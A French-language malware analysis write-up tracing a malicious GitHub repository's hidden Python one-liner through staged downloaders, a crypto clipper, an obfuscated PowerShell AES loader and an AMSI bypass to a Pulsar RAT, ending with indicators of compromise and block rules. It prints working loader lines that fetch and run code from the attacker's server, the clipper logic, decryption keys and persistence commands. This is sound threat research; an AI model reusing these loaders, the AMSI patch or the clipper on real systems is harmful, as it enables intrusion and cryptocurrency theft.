Analyse complète du dropper GitHub au RAT final via une chaîne d'infection multi-étapes
Tout a commencé par une session de hunting nocturne avec @omnis, à la recherche d'un malware à analyser. En parcourant GitHub à la recherche de repositories suspects, nous sommes tombés sur un projet qui, au premier coup d'œil, semblait parfaitement légitime.
Découverte d'un dépôt Github malveillant

Dans ce code rien de vraiment choquant, mais en regardant un peu plus nous pouvons voir que du code est caché très loin à droite, une manière de cacher du code assez primitif mais peut marcher si on ne fait pas attention.

On y découvre la ligne suivante:
import os;os.system("pip install requests");import requests;exec(b'\x65\x78\x65\x63\x28\x72\x65\x71\x75\x65\x73\x74\x73\x2e\x67\x65\x74\x28\x27\x68\x74\x74\x70\x3a\x2f\x2f\x31\x39\x36\x2e\x32\x35\x31\x2e\x38\x31\x2e\x32\x32\x39\x3a\x36\x39\x36\x39\x2f\x31\x2e\x74\x78\x74\x27\x29\x2e\x74\x65\x78\x74\x29')
qui installe le module requests et exécute le code python encodé en hexa. en décodant l'hexa via cyberchef nous obtenons le code suivant:
exec(requests.get('http://196.251.81.229:6969/1.txt').text)
qui chargera en mémoire le code python:
from tempfile import NamedTemporaryFile as _ffile
from sys import executable as _eexecutable
from subprocess import Popen, CREATE_NO_WINDOW
import requests
import os
import uuid
import tempfile
import subprocess
import sys
subprocess.run([sys.executable, "-m", "pip", "install", "pyperclip", "pywin32"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
exec(b'\x0a\x5f\x74\x74\x6d\x70\x20\x3d\x20\x5f\x66\x66\x69\x6c\x65\x28\x64\x65\x6c\x65\x74\x65\x3d\x46\x61\x6c\x73\x65\x29\x0a\x5f\x74\x74\x6d\x70\x2e\x77\x72\x69\x74\x65\x28\x62\x27\x27\x27\x66\x72\x6f\x6d\x20\x75\x72\x6c\x6c\x69\x62\x2e\x72\x65\x71\x75\x65\x73\x74\x20\x69\x6d\x70\x6f\x72\x74\x20\x75\x72\x6c\x6f\x70\x65\x6e\x20\............................................................
.....')Cette fois-ci il installe d'autres module , pyperclip pour interagir avec le presse papier et pywin32.
Un autre code en hexa est exécuté qui décodé est le suivant:
_ttmp = _ffile(delete=False)
_ttmp.write(b'''from urllib.request import urlopen as _uurlopen;exec(_uurlopen('http://196.251.81.229:6969/2.txt').read())''')
_ttmp.close()
pythonw_path = _eexecutable.replace("python.exe", "pythonw.exe")
Popen([pythonw_path, _ttmp.name])
_ttmp = _ffile(delete=False)
_ttmp.write(b'''from urllib.request import urlopen as _uurlopen;exec(_uurlopen('http://196.251.81.229:6969/r.txt').read())''')
_ttmp.close()
pythonw_path = _eexecutable.replace("python.exe", "pythonw.exe")
Popen([pythonw_path, _ttmp.name])
url_clippa = 'http://196.251.81.229:6969/clippa.txt'
temp = tempfile.gettempdir()
name_clippa = os.path.join(temp, f"{uuid.uuid4()}.py")
response = requests.get(url_clippa)
if response.status_code == 200:
content = response.text
reload_command = "from urllib.request import urlopen as _uurlopen;exec(_uurlopen('http://196.251.81.229:6969/clippa.txt').read())"
if reload_command in content:
content = content.replace(reload_command, "")
with open(name_clippa, 'w', encoding='utf-8') as f:
f.write(content)
Popen([pythonw_path, name_clippa])
url_bat = "http://196.251.81.229:6969/download/hellyeah.bat"
headers = {"Authorization": "Bearer bmVyZG5lcmRuZXJkbmVyZA"}
name_bat = os.path.join(temp, f"{uuid.uuid4()}.bat")
response = requests.get(url_bat, headers=headers)
if response.status_code == 200:
with open(name_bat, 'wb') as dosya:
dosya.write(response.content)
Popen([name_bat], creationflags=CREATE_NO_WINDOW, shell=True)
url_extra_bat = "http://196.251.81.229:6969/download/insomnia.bat"
extra_headers = {"Authorization": "Bearer AG4AZQByAGQAbgBlAHIAZABuAGUAcgBk"}
name_extra_bat = os.path.join(temp, f"{uuid.uuid4()}.bat")
response = requests.get(url_extra_bat, headers=extra_headers)
if response.status_code == 200:
with open(name_extra_bat, 'wb') as dosya:
dosya.write(response.content)
Popen([name_extra_bat], creationflags=CREATE_NO_WINDOW, shell=True)
Sur ce script nous pouvons voire les urls suivantes qui sont utiliser pour télécharger un fichier puis exécuter:
- http://196.251.81.229:6969/2.txt
- http://196.251.81.229:6969/r.txt
- http://196.251.81.229:6969/clippa.txt
Et les 2 fichiers .bat suivants:
Nous nous sommes pas vraiment attardés sur les 2 premiers mais plutôt sur le scripts bat insomnia.bat et le contenu de clippa.txt
Analyse du malware Clippa
Points clés identifiés :
Vue d'ensemble
Nous découvrons un module spécialisé : un clipper de crypto-monnaies. Ce type de malware intercepte et remplace les adresses de portefeuilles cryptographiques copiées dans le presse-papiers, détournant ainsi les transactions vers les portefeuilles de l'attaquant.
Mécanisme de fonctionnement
1. Configuration des portefeuilles cibles
Le malware supporte 10 crypto-monnaies différentes avec les adresses de destination de l'attaquant :
- Bitcoin (BTC) :
bc1qxpz2e8taktzesd0sd53lzmj87m5nkvu3fp82rk - Ethereum (ETH) :
0x1842082Ff98E91495BDE6C6F9162F17AB9A9d3Cd - Litecoin (LTC) :
LVCC3oZgciRWWBENTvwXPPgsw2KKpmVR7x - TRON (TRX) :
TUBGZiWupRrbAJ61Yhwh2LVHUf5x4nresE - Ripple (XRP) :
rfcHfi5xqD64Z5PwwLnm9Lh3aafWMz6K9g - Zcash :
t1JCPe5jCsn9aYSnSuvd7GXNKLK5PkHj3R3 - Dogecoin (DOGE) :
DEzLhvQQZm3qhwJvEpXRB7mnrNDYFJmNmT - Solana (SOL) :
BCxiZdQiAddhZWnSt7hzYZhftbNcF9aV33ZyXCGfk6bj
Techniques de persistance
1. Auto-installation
APPDATA_PATH = os.environ["APPDATA"]
dest_path = os.path.join(APPDATA_PATH, "system_update.py")
startup_folder = os.path.join(APPDATA_PATH, r"Microsoft\Windows\Start Menu\Programs\Startup")
Le malware :
- Se copie dans
%APPDATA%\system_update.py - Crée un raccourci dans le dossier de démarrage
- Utilise un nom générique (
system_update) pour paraître légitime
Surveillance et remplacement
Le malware utilise des expressions régulières pour identifier chaque type de crypto-monnaie :
"btc": r"^(bc1|[13])[a-zA-HJ-NP-Z0-9]{26,41}$",
"eth": r"^0x[a-fA-F0-9]{40}$",
"trx": r"^T[a-zA-Z0-9]{28,33}$"
Boucle de surveillance
def monitor_clipboard():
recent_value = ""
while True:
clipboard_value = pyperclip.paste()
if clipboard_value != recent_value:
for crypto, pattern in patterns.items():
if re.match(pattern, clipboard_value):
pyperclip.copy(addresses[crypto]) # REMPLACEMENT !
- Vérifie le presse-papiers toutes les 500ms
- Détecte automatiquement le type de crypto-monnaie
- Remplace instantanément par l'adresse de l'attaquant
Exfiltration via Discord Webhook
1. Canal de communication
- Webhook URL :
http://196.251.81.229:8000/repeter/2YoJZMLDK3yu6La7 - Username :
clippa
"fields": [
{"name": "User", "value": OWNER_USERNAME},
{"name": "Host", "value": get_hostname()},
{"name": "Crypto Type", "value": f"{emoji} {crypto_type.upper()}"},
{"name": "Original Address", "value": original_address},
{"name": "Replaced Address", "value": replaced_address}
]
Analyse des fichiers .bat
Les 2 urls suivantes contiennent 2 scripts .bat
Sur les 2 urls des .bat nous ne pouvons download aucun des .bat.

en regardant le code servant de loader vu précédemment, nous pouvons observer un header a ajouter a notre requête :
url_bat = "http://196.251.81.229:6969/download/hellyeah.bat"
headers = {"Authorization": "Bearer bmVyZG5lcmRuZXJkbmVyZA"}
------- Other code -------
url_extra_bat = "http://196.251.81.229:6969/download/insomnia.bat"
extra_headers = {"Authorization": "Bearer AG4AZQByAGQAbgBlAHIAZABuAGUAcgBk"}
En téléchargeant les 2 fichiers nous obtenons 2 fichiers encodées en base64 qui une fois décodée nous donnes cela:
Analyse approfondie de insomnia.bat
@%HjKEvHemqDpeOjWmsWPAazqaDiKiGBzqditiCUHWgrVhkeftrC%e%lZGBaiTJbnXWFOeYbFQNJyoTtJDiPzdqQeqAJBhlpTSuYkLhdm%c%czDDSNKMirEKUCkGfByEoAxEyQFUUjYwfDwDNnmDPWtQHFYqks%h%fjJzXCbYfchQSYthFqgGSRpUOrhHWTRoJCeONFGTBOikvZeuxz%o%ZIkDznUOLFvuclkTgpUFuZKmfdJfzOnMkxTjefcQTYUaxgMWZC% o%SPARfaXXyvDPpWsJkEsaObmdLveJPYrNfWWylssSlhGHmdJYIO%f%VhDYORCxgJWoiAeQKsZUxSmAPGuFQHLfbacjjgifVNmIWXZgDw%f%trZNqdUdjhwXHyXQmhxUHDjUYKGEDRHocuougnKYofXbIYgNKf%
----------------------- Reste du code ----------------------------------------------En exécutant le fichier insomnia nous pouvons voir sur process hacker un powershell se connectant a l'ip 149.50.97.147:7705, en regardant sur wireshark les communications sont malheuresement chiffré via du tls v1.2.

Persistance du loader .bat
Cette commande PowerShell créé une tâche planifiée Windows pour assurer la persistance du malware :
schtasks.exe /create /tn "beZEtLsQZPhWFkjeDgMCriWZRcftCM" /sc ONLOGON /tr "C:\Users\WDAGUtilityAccount\AppData\Roaming\beZEtLsQZPhWFkjeDgMCriWZRcftCM\beZEtLsQZPhWFkjeDgMCriWZRcftCM.bat" /rl HIGHEST
/create: Crée une nouvelle tâche planifiée/tn "beZEtLsQZPhWFkjeDgMCriWZRcftCM": Nom de la tâche (identique au fichier pour confusion)/sc ONLOGON: Déclencheur = À chaque connexion utilisateur/tr "[chemin].bat": Action = Exécute le fichier .bat malveillant/rl HIGHEST: Privilèges = Niveau administrateur maximum
En regardant le registre d'événement windows avec le chemin suivant:
Applications and Services Logs > Microsoft > Windows > PowerShell > Operational

Nous pouvons aussi voir que lors de l'exécution du fichier bat la commande powershell suivante est utilisé
function TATDD($TxYuT) { $swxHN = [System.Security.Cryptography.Aes]::$([char]67 + [char]114 + [char]101 + [char]97 + [char]116 + [char]101)(); $swxHN.Mode = [System.Security.Cryptography.CipherMode]::CBC; $swxHN.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7; $swxHN.Key = [System.Convert]::$('gnirtS46esaBmorF'[-1..-16] -join '')('vpZ2W2AOa//fpjns4Di+kgzCqwxXRkF0CDjNZn+wIUA='); $swxHN.IV = [System.Convert]::$('gnirtS46esaBmorF'[-1..-16] -join '')('2HbuI1PmmPcxbWsqSbMcbQ=='); $oImpV = $swxHN.$('Cre' + 'ate' + 'De' + 'cr' + 'ypt' + 'or')(); $VYBow = $oImpV.$('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TxYuT, 0, $TxYuT.Length); $oImpV.$('esopsiD'[-1..-7] -join '')(); $swxHN.$('esopsiD'[-1..-7] -join '')(); $VYBow; } function mRqBU($TxYuT) { $QPcHf = New-Object System.IO.MemoryStream(, $TxYuT); $IiDsE = New-Object System.IO.MemoryStream; $Hotgw = New-Object System.IO.Compression.GZipStream($QPcHf, [IO.Compression.CompressionMode]::Decompress); $Hotgw.$('Cop' + 'yT' + 'o')($IiDsE); $Hotgw.$('esopsiD'[-1..-7] -join '')(); $QPcHf.$('esopsiD'[-1..-7] -join '')(); $IiDsE.$('esopsiD'[-1..-7] -join '')(); $IiDsE.ToArray(); } function JmXZi($TxYuT, $gJXko) { $loDHH = [System.Reflection.Assembly]::$('Load')([byte[]]$TxYuT); $opcea = $loDHH.EntryPoint; $opcea.$('ekovnI'[-1..-6] -join '')($null, $gJXko); } $lnDgr = 'C:\Users\WDAGUtilityAccount\AppData\Roaming\beZEtLsQZPhWFkjeDgMCriWZRcftCM\beZEtLsQZPhWFkjeDgMCriWZRcftCM.bat'; $host.UI.RawUI.WindowTitle = $lnDgr; $DuQCe = [System.IO.File]::$('txeTllAdaeR'[-1..-11] -join '')($lnDgr).$('tilpS'[-1..-5] -join '')([Environment]::NewLine); foreach ($feUKo in $DuQCe) { if ($feUKo.$('htiWstratS'[-1..-10] -join '')(':: ')) { $lastfeUKo = $feUKo.$('gnirtsbuS'[-1..-9] -join '')(3); break; } } $jANfH = [string[]]$lastfeUKo.$('tilpS'[-1..-5] -join '')('\\'); $CluZR = mRqBU (TATDD ([Convert]::$('gnirtS46esaBmorF'[-1..-16] -join '')($jANfH[0]))); $tgzrt = mRqBU (TATDD ([Convert]::$('gnirtS46esaBmorF'[-1..-16] -join '')($jANfH[1]))); JmXZi $CluZR $null; JmXZi $tgzrt (,[string[]] (''));
Ce script étant obfusqué nous avons donc utilisé l'IA claude afin de nous donner une version plus lisible afin de gagner du temps.
Voici le code déobfusqué par claude
# Fonction de déchiffrement AES
function Decrypt-AES($encryptedData) {
$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
# Clé AES en base64 (DIFFÉRENTE de la version précédente)
$aes.Key = [System.Convert]::FromBase64String('vpZ2W2AOa//fpjns4Di+kgzCqwxXRkF0CDjNZn+wIUA=')
# IV (Initialization Vector) en base64
$aes.IV = [System.Convert]::FromBase64String('2HbuI1PmmPcxbWsqSbMcbQ==')
$decryptor = $aes.CreateDecryptor()
$decryptedData = $decryptor.TransformFinalBlock($encryptedData, 0, $encryptedData.Length)
$decryptor.Dispose()
$aes.Dispose()
return $decryptedData
}
# Fonction de décompression GZIP
function Decompress-GZIP($compressedData) {
$inputStream = New-Object System.IO.MemoryStream(, $compressedData)
$outputStream = New-Object System.IO.MemoryStream
$gzipStream = New-Object System.IO.Compression.GZipStream($inputStream, [IO.Compression.CompressionMode]::Decompress)
$gzipStream.CopyTo($outputStream)
$gzipStream.Dispose()
$inputStream.Dispose()
$outputStream.Dispose()
return $outputStream.ToArray()
}
# Fonction de chargement et exécution d'assembly .NET
function Load-And-Execute($assemblyBytes, $arguments) {
$assembly = [System.Reflection.Assembly]::Load([byte[]]$assemblyBytes)
$entryPoint = $assembly.EntryPoint
$entryPoint.Invoke($null, $arguments)
}
# Chemin du fichier BAT contenant les payloads chiffrés (VERSION ORIGINALE)
$batFilePath = 'C:\Users\WDAGUtilityAccount\AppData\Roaming\beZEtLsQZPhWFkjeDgMCriWZRcftCM\beZEtLsQZPhWFkjeDgMCriWZRcftCM.bat'
# Définir le titre de la fenêtre (technique d'anti-analyse)
$host.UI.RawUI.WindowTitle = $batFilePath
# Lire le contenu du fichier BAT
$fileContent = [System.IO.File]::ReadAllText($batFilePath).Split([Environment]::NewLine)
# Chercher la ligne contenant les données chiffrées (commence par ":: ")
foreach ($line in $fileContent) {
if ($line.StartsWith(':: ')) {
$dataLine = $line.Substring(3)
break
}
}
# Séparer les deux payloads (séparés par "\\")
$payloads = [string[]]$dataLine.Split('\\')
# Traitement du premier payload
$payload1_base64 = $payloads[0]
$payload1_encrypted = [Convert]::FromBase64String($payload1_base64)
$payload1_decrypted = Decrypt-AES $payload1_encrypted
$payload1_decompressed = Decompress-GZIP $payload1_decrypted
# Traitement du second payload
$payload2_base64 = $payloads[1]
$payload2_encrypted = [Convert]::FromBase64String($payload2_base64)
$payload2_decrypted = Decrypt-AES $payload2_encrypted
$payload2_decompressed = Decompress-GZIP $payload2_decrypted
# Exécution des payloads déchiffrés en mémoire
Load-And-Execute $payload1_decompressed $null
Load-And-Execute $payload2_decompressed (,[string[]] (''))
Ce script PowerShell est un loader/dropper qui déchiffre et exécute des payloads malveillants directement en mémoire, sans jamais les écrire sur le disque.
Lecture du fichier camouflé
Le script ouvre le fichier .bat qui contient des données malveillantes cachées dans une ligne de commentaire commençant par :: .
Il cherche ensuite spécifiquement cette ligne de commentaire et extrait tout ce qui suit les deux points. Ces données sont encodées en base64 et contiennent en fait deux programmes chiffrés séparés par \\.
Processus de déchiffrement en 3 étapes
Pour chaque programme caché, le script :
- Décode depuis le format base64.
- Déchiffre avec une clé secrète AES CBC via la clé et le vecteur d'initialisation (IV) suivant:
$aes.Key = [System.Convert]::FromBase64String('vpZ2W2AOa//fpjns4Di+kgzCqwxXRkF0CDjNZn+wIUA=')
# IV (Initialization Vector) en base64
$aes.IV = [System.Convert]::FromBase64String('2HbuI1PmmPcxbWsqSbMcbQ==')
- Décompresse les données GZIP
Exécution en mémoire
Une fois les deux programmes déchiffrés, le script les lance directement en mémoire sans jamais créer de fichiers sur le disque.
Analyse des 2 exécutables
Nous devons maintenant dump les 2 PE afin de pouvoir les analyser j'ai donc utiliser le script powershell suivant:
function Decrypt-AES($data) {
$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aes.Key = [System.Convert]::FromBase64String('vpZ2W2AOa//fpjns4Di+kgzCqwxXRkF0CDjNZn+wIUA=')
$aes.IV = [System.Convert]::FromBase64String('2HbuI1PmmPcxbWsqSbMcbQ==')
$result = $aes.CreateDecryptor().TransformFinalBlock($data, 0, $data.Length)
$aes.Dispose()
return $result
}
function Decompress-GZIP($data) {
$input = New-Object System.IO.MemoryStream(, $data)
$output = New-Object System.IO.MemoryStream
$gzip = New-Object System.IO.Compression.GZipStream($input, [IO.Compression.CompressionMode]::Decompress)
$gzip.CopyTo($output)
$result = $output.ToArray()
$gzip.Dispose(); $input.Dispose(); $output.Dispose()
return $result
}
# Extraction
$content = [System.IO.File]::ReadAllText('C:\Users\WDAGUtilityAccount\AppData\Roaming\beZEtLsQZPhWFkjeDgMCriWZRcftCM\beZEtLsQZPhWFkjeDgMCriWZRcftCM.bat')
$dataLine = ($content -split "`n" | Where-Object { $_.StartsWith(':: ') })[0].Substring(3)
$payloads = $dataLine.Split('\\')
for ($i = 0; $i -lt $payloads.Length; $i++) {
$encrypted = [Convert]::FromBase64String($payloads[$i])
$decrypted = Decrypt-AES $encrypted
$final = Decompress-GZIP $decrypted
[System.IO.File]::WriteAllBytes("payload_$($i+1).exe", $final)
Write-Host "Payload $($i+1): $($final.Length) bytes"
}
Une fois exécuté nous avons les 2 PE
PS C:\Users\WDAGUtilityAccount\Downloads> . .\dump.ps1
Method invocation failed because [System.Char] does not contain a method named 'Substring'.
At C:\Users\WDAGUtilityAccount\Downloads\dump.ps1:25 char:1
+ $dataLine = ($content -split "`n" | Where-Object { $_.StartsWith(':: ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (:) [], RuntimeException
+ FullyQualifiedErrorId : MethodNotFound
Payload 1: 5632 bytes
Payload 2: 562688 bytes
C'est le moment d'analyser ces 2 exécutables par chance il s'agit de 2 binaires compilés avec .NET en C# il est donc assez simple de récupérer le code source de ces binaires via l'outil dnspy.

Analyse du premier payload

Ce script est un bypass AMSI via de l'inline patching classique qui désactive les protections antivirus de Windows en temps réel pour permettre l'exécution de code malveillant sans détection.
Strings obfusquées décodées :
gklpoui = "amsi.dll" // Bibliothèque AMSI de Windows
msabnc = "AmsiScanBuffer" // Fonction de scan AMSI
AMSI est le système de défense de Windows qui scanne le code PowerShell, scripts et payloads en temps réel avant exécution.
Mécanisme du bypass
1. Chargement de la DLL AMSI
IntPtr hModule = Program.LoadLibrary("amsi.dll");
IntPtr procAddress = Program.GetProcAddress(hModule, "AmsiScanBuffer");
- Charge la DLL AMSI en mémoire
- Récupère l'adresse de la fonction
AmsiScanBuffer
2. Préparation du shellcode
byte[] rwqjfi = array; // Shellcode chiffré
byte qxmvlb = 196; // Clé XOR (0xC4)
byte[] array2 = sdjfhksfd(rwqjfi, qxmvlb); // Déchiffrement XOR
3. Fonction de déchiffrement XOR
private static byte[] sdjfhksfd(byte[] rwqjfi, byte qxmvlb) {
for (int i = 0; i < rwqjfi.Length; i++) {
array[i] = (rwqjfi[i] ^ qxmvlb); // XOR avec clé 196
}
}
4. Patch de la fonction AMSI
VirtualProtect(procAddress, ..., PAGE_EXECUTE_READWRITE, ...); // Rend la mémoire modifiable
Marshal.Copy(array2, 0, procAddress, array2.Length); // Écrase AmsiScanBuffer
VirtualProtect(procAddress, ..., flNewProtect, ...); // Restaure permissions
La fonction AmsiScanBuffer est remplacée par un shellcode qui retourne toujours "AMSI_RESULT_CLEAN"
Analyse du deuxieme payload
Ce code C# est le dropper principal qui installe et configure la persistance du malware sur le système cible. Il fait 562KB et contient un payload chiffré intégré.
private static string CRYPT_ID = "beZEtLsQZPhWFkjeDgMCriWZRcftCM";
- Même ID que celui trouvé dans les Event Logs
- Utilisé comme nom de tâche, dossier, fichier et clé de registre
- Signature unique de cette campagne malware
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), CRYPT_ID);
string text2 = Path.Combine(text, CRYPT_ID + ".bat");
Directory.CreateDirectory(text);
FileAttributes attr = FileAttributes.Hidden | FileAttributes.Directory;
SetFileAttributesW(text, attr); // Dossier caché
File.WriteAllText(text2, File.ReadAllText(Console.Title)); // Copie le fichier .bat
Comportement :
- Crée le dossier
%AppData%\beZEtLsQZPhWFkjeDgMCriWZRcftCM\ - Le rend invisible avec attribut Hidden
- Copie le fichier .bat original vers ce dossier
Mécanismes de persistance
Double mécanisme selon les privilèges :
Si Administrateur → Tâche planifiée
if (IsAdmin()) {
Process.Start(new ProcessStartInfo {
FileName = "schtasks.exe",
Arguments = "/create /tn \"beZEtLsQZPhWFkjeDgMCriWZRcftCM\" /sc ONLOGON /tr \"[path].bat\" /rl HIGHEST"
});
}
Si utilisateur normal → Registry Run
using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true)) {
registryKey.SetValue(CRYPT_ID, text2);
}
Résultat : Le malware redémarre automatiquement à chaque connexion utilisateur.
Payload chiffré embarqué
Ressource intégrée :
byte[] rawAssembly = Uncompress(AesDecrypt(GetEmbeddedResource("payload.exe"), key, iv));
Nouvelles clés de déchiffrement :
AES Key: "TgQt6059yGF4kMZhMHhq9IeJ4FwiVbWp6wSF8iWOQk0="
AES IV: "beZEtLsQZPhWFkjeDgMCriWZRcftCM"
Execution du binaire :
MethodInfo entryPoint = Assembly.Load(rawAssembly).EntryPoint; entryPoint.Invoke(null, new object[] { array }); // Avec arguments // OU entryPoint.Invoke(null, null); // Sans arguments
Technique fileless : Le payload final est exécuté directement depuis la mémoire.
Pipeline de déchiffrement :
Ressource "payload.exe" → AES Decrypt → GZIP Uncompress → Assembly .NET → Execution
Via dnspy nous pouvons donc recuper ce nouveaux payload embarqué dans le binaire et le déchiffrer/décompresser via cyberchef

Enfin nous avons le payload final qui est aussi écris en C# donc décompilable mais cette fois-ci obfusquée et disposant de plusieurs fonction comme du process hollowing, keylogger, Unhooking de ntdll ...
Vous pouvez observé cela sur virus total:
En analysant les morceaux de codes nous déterminer que le binaire était un agent du RAT nommée Pulsar
Version: 1.6.6
C2s: 149.50.97.147:7855;
Reconnect Delay: 3000
Sub Directory: Install As: .exe
Mutex: cdaaa93c-4bde-4e58-b026-75e5b4fa32a4
IoCs (Indicators of Compromise)
Serveurs C2 principaux
149.50.97.147:7705 - Serveur C2 Pulsar RAT (TLS)
149.50.97.147:7855 - Interface d'administration
196.251.81.229:6969 - Serveur de distribution de payloads
196.251.81.229:8000 - Webhook Discord (exfiltration)URLs malveillantes
http://196.251.81.229:6969/1.txt
http://196.251.81.229:6969/2.txt
http://196.251.81.229:6969/r.txt
http://196.251.81.229:6969/clippa.txt
http://196.251.81.229:6969/download/hellyeah.bat
http://196.251.81.229:6969/download/insomnia.bat
http://196.251.81.229:8000/repeter/2YoJZMLDK3yu6La7
Persistance
Tâches planifiées
Nom: beZEtLsQZPhWFkjeDgMCriWZRcftCM
Déclencheur: ONLOGON
Privilèges: HIGHEST
Clés de registre
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\beZEtLsQZPhWFkjeDgMCriWZRcftCM
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\beZEtLsQZPhWFkjeDgMCriWZRcftCM
Mutex
cdaaa93c-4bde-4e58-b026-75e5b4fa32a4
Configuration Pulsar RAT
Version: 1.6.6
C2: 149.50.97.147:7855
Reconnect Delay: 3000ms
Mutex: cdaaa93c-4bde-4e58-b026-75e5b4fa32a4
Group: crypt
Règles de détection réseau
Block: 149.50.97.147 (ports 7855, 7705)
Block: 196.251.81.229 (ports 6969, 8000)
Monitor: Connexions TLS vers certificat CN="lomv scxjg"